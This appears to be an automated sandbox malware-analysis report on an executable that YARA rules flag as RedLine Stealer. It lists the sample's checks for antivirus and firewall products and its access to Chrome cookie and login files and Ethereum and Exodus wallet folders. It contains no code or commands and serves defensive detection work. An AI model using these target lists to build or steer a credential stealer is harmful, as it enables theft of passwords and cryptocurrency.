Source: C:\Users\user\Desktop\JEPayKhzWa.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation			Jump to behavior

Queries the cryptographic machine GUID

Source: C:\Users\user\Desktop\JEPayKhzWa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Source: Yara match	File source: 0.2.JEPayKhzWa.exe.44bdb88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JEPayKhzWa.exe.44bdb88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JEPayKhzWa.exe.43f05b0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.JEPayKhzWa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JEPayKhzWa.exe.43f05b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.712342229.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.657835482.00000000042E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JEPayKhzWa.exe PID: 4680, type: MEMORY
Source: Yara match	File source: Process Memory Space: JEPayKhzWa.exe PID: 7024, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: JEPayKhzWa.exe PID: 4680, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\Desktop\JEPayKhzWa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Yara detected Credential Stealer

Source: Yara match

File source: Process Memory Space: JEPayKhzWa.exe PID: 4680, type: MEMORY

Remote Access Functionality:

Yara detected RedLine Stealer

Source: Yara match	File source: 0.2.JEPayKhzWa.exe.44bdb88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JEPayKhzWa.exe.44bdb88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JEPayKhzWa.exe.43f05b0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.JEPayKhzWa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JEPayKhzWa.exe.43f05b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.712342229.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.657835482.00000000042E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JEPayKhzWa.exe PID: 4680, type: MEMORY
Source: Yara match	File source: Process Memory Space: JEPayKhzWa.exe PID: 7024, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: JEPayKhzWa.exe PID: 4680, type: MEMORY